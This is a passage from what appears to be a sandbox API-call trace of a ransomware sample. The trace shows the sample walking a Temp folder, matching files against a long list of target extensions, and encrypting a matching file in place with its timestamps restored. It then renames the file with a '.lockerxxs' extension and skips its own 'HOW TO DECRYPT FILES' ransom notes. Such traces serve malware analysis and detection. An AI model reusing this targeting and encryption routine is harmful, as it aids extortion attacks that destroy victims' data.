5 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.lgb") returned 0 [0086.477] lstrlenA (lpString="*.lgb") returned 5 [0086.477] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mov") returned 0 [0086.478] lstrlenA (lpString="*.mov") returned 5 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.xdw") returned 0 [0086.478] lstrlenA (lpString="*.xdw") returned 5 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.ods") returned 0 [0086.478] lstrlenA (lpString="*.ods") returned 5 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.wav") returned 0 [0086.478] lstrlenA (lpString="*.wav") returned 5 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.mp3") returned 0 [0086.478] lstrlenA (lpString="*.mp3") returned 5 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.aiff") returned 0 [0086.478] lstrlenA (lpString="*.aiff") returned 6 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.flac") returned 0 [0086.478] lstrlenA (lpString="*.flac") returned 6 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.m4a") returned 0 [0086.478] lstrlenA (lpString="*.m4a") returned 5 [0086.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log", pszSpec="*.csv") returned 0 [0086.478] lstrlenA (lpString="*.csv") returned 5 [0086.478] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec48dda0, ftCreationTime.dwHighDateTime=0x1d5e800, ftLastAccessTime.dwLowDateTime=0xc7f80010, ftLastAccessTime.dwHighDateTime=0x1d5e28e, ftLastWriteTime.dwLowDateTime=0xc7f80010, ftLastWriteTime.dwHighDateTime=0x1d5e28e, nFileSizeHigh=0x0, nFileSizeLow=0x9474, dwReserved0=0x0, dwReserved1=0x0, cFileName="aHU5yA6Q67hoCMF_6ZZ.mp4", cAlternateFileName="AHU5YA~1.MP4")) returned 1 [0086.478] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.478] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aHU5yA6Q67hoCMF_6ZZ.mp4") returned 1 [0086.478] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aHU5yA6Q67hoCMF_6ZZ.mp4") returned 1 [0086.478] lstrcmpiA (lpString1="", lpString2="aHU5yA6Q67hoCMF_6ZZ.mp4") returned -1 [0086.478] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log") returned="AdobeARM.log" [0086.478] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.478] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.479] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.479] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.479] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="aHU5yA6Q67hoCMF_6ZZ.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.ems") returned 0 [0086.479] lstrlenA (lpString="*.ems") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.db") returned 0 [0086.479] lstrlenA (lpString="*.db") returned 4 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.dbf") returned 0 [0086.479] lstrlenA (lpString="*.dbf") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.myox") returned 0 [0086.479] lstrlenA (lpString="*.myox") returned 6 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.myo") returned 0 [0086.479] lstrlenA (lpString="*.myo") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qbw") returned 0 [0086.479] lstrlenA (lpString="*.qbw") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qbb") returned 0 [0086.479] lstrlenA (lpString="*.qbb") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qbm") returned 0 [0086.479] lstrlenA (lpString="*.qbm") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qbo") returned 0 [0086.479] lstrlenA (lpString="*.qbo") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qbx") returned 0 [0086.479] lstrlenA (lpString="*.qbx") returned 5 [0086.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qba") returned 0 [0086.480] lstrlenA (lpString="*.qba") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qby") returned 0 [0086.480] lstrlenA (lpString="*.qby") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qbj") returned 0 [0086.480] lstrlenA (lpString="*.qbj") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.ofx") returned 0 [0086.480] lstrlenA (lpString="*.ofx") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.qif") returned 0 [0086.480] lstrlenA (lpString="*.qif") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.mye") returned 0 [0086.480] lstrlenA (lpString="*.mye") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.mbox") returned 0 [0086.480] lstrlenA (lpString="*.mbox") returned 6 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.eml") returned 0 [0086.480] lstrlenA (lpString="*.eml") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.pst") returned 0 [0086.480] lstrlenA (lpString="*.pst") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.ost") returned 0 [0086.480] lstrlenA (lpString="*.ost") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.idx") returned 0 [0086.480] lstrlenA (lpString="*.idx") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.dbx") returned 0 [0086.480] lstrlenA (lpString="*.dbx") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.sql") returned 0 [0086.480] lstrlenA (lpString="*.sql") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.mdb") returned 0 [0086.480] lstrlenA (lpString="*.mdb") returned 5 [0086.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.fdb") returned 0 [0086.480] lstrlenA (lpString="*.fdb") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.wab") returned 0 [0086.481] lstrlenA (lpString="*.wab") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.dat") returned 0 [0086.481] lstrlenA (lpString="*.dat") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.txt") returned 0 [0086.481] lstrlenA (lpString="*.txt") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.jpeg") returned 0 [0086.481] lstrlenA (lpString="*.jpeg") returned 6 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.jpg") returned 0 [0086.481] lstrlenA (lpString="*.jpg") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.png") returned 0 [0086.481] lstrlenA (lpString="*.png") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.php") returned 0 [0086.481] lstrlenA (lpString="*.php") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.cs") returned 0 [0086.481] lstrlenA (lpString="*.cs") returned 4 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.cpp") returned 0 [0086.481] lstrlenA (lpString="*.cpp") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.rar") returned 0 [0086.481] lstrlenA (lpString="*.rar") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.zip") returned 0 [0086.481] lstrlenA (lpString="*.zip") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.html") returned 0 [0086.481] lstrlenA (lpString="*.html") returned 6 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.htm") returned 0 [0086.481] lstrlenA (lpString="*.htm") returned 5 [0086.481] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.xlsx") returned 0 [0086.481] lstrlenA (lpString="*.xlsx") returned 6 [0086.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.xls") returned 0 [0086.482] lstrlenA (lpString="*.xls") returned 5 [0086.482] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", pszSpec="*.mp4") returned 1 [0086.482] lstrlenA (lpString="*.mp4") returned 5 [0086.482] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" [0086.482] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" [0086.482] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4." [0086.482] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4.lockerxxs" [0086.482] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ahu5ya6q67hocmf_6zz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.483] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9474 [0086.483] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xec48dda0, dwHighDateTime=0x1d5e800), lpLastAccessTime=0x407536*(dwLowDateTime=0xc7f80010, dwHighDateTime=0x1d5e28e), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc7f80010, dwHighDateTime=0x1d5e28e)) returned 1 [0086.483] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.483] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x944e, lpOverlapped=0x0) returned 1 [0086.484] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4") returned="aHU5yA6Q67hoCMF_6ZZ.mp4" [0086.484] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.485] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x944e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x944e, lpOverlapped=0x0) returned 1 [0086.485] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.485] CloseHandle (hObject=0x90) returned 1 [0086.485] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ahu5ya6q67hocmf_6zz.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ahu5ya6q67hocmf_6zz.mp4.lockerxxs")) returned 1 [0086.487] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6be9bb00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x6be9bb00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x6be9bb00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="bst449D.tmp", cAlternateFileName="")) returned 1 [0086.487] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.487] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bst449D.tmp") returned 1 [0086.487] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bst449D.tmp") returned 1 [0086.487] lstrcmpiA (lpString1="", lpString2="bst449D.tmp") returned -1 [0086.487] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\aHU5yA6Q67hoCMF_6ZZ.mp4") returned="aHU5yA6Q67hoCMF_6ZZ.mp4" [0086.487] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.487] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.487] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.487] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.487] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="bst449D.tmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp" [0086.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.ems") returned 0 [0086.487] lstrlenA (lpString="*.ems") returned 5 [0086.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.db") returned 0 [0086.487] lstrlenA (lpString="*.db") returned 4 [0086.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.dbf") returned 0 [0086.487] lstrlenA (lpString="*.dbf") returned 5 [0086.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.myox") returned 0 [0086.487] lstrlenA (lpString="*.myox") returned 6 [0086.487] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.myo") returned 0 [0086.487] lstrlenA (lpString="*.myo") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qbw") returned 0 [0086.488] lstrlenA (lpString="*.qbw") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qbb") returned 0 [0086.488] lstrlenA (lpString="*.qbb") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qbm") returned 0 [0086.488] lstrlenA (lpString="*.qbm") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qbo") returned 0 [0086.488] lstrlenA (lpString="*.qbo") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qbx") returned 0 [0086.488] lstrlenA (lpString="*.qbx") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qba") returned 0 [0086.488] lstrlenA (lpString="*.qba") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qby") returned 0 [0086.488] lstrlenA (lpString="*.qby") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qbj") returned 0 [0086.488] lstrlenA (lpString="*.qbj") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.ofx") returned 0 [0086.488] lstrlenA (lpString="*.ofx") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.qif") returned 0 [0086.488] lstrlenA (lpString="*.qif") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mye") returned 0 [0086.488] lstrlenA (lpString="*.mye") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mbox") returned 0 [0086.488] lstrlenA (lpString="*.mbox") returned 6 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.eml") returned 0 [0086.488] lstrlenA (lpString="*.eml") returned 5 [0086.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.pst") returned 0 [0086.488] lstrlenA (lpString="*.pst") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.ost") returned 0 [0086.489] lstrlenA (lpString="*.ost") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.idx") returned 0 [0086.489] lstrlenA (lpString="*.idx") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.dbx") returned 0 [0086.489] lstrlenA (lpString="*.dbx") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 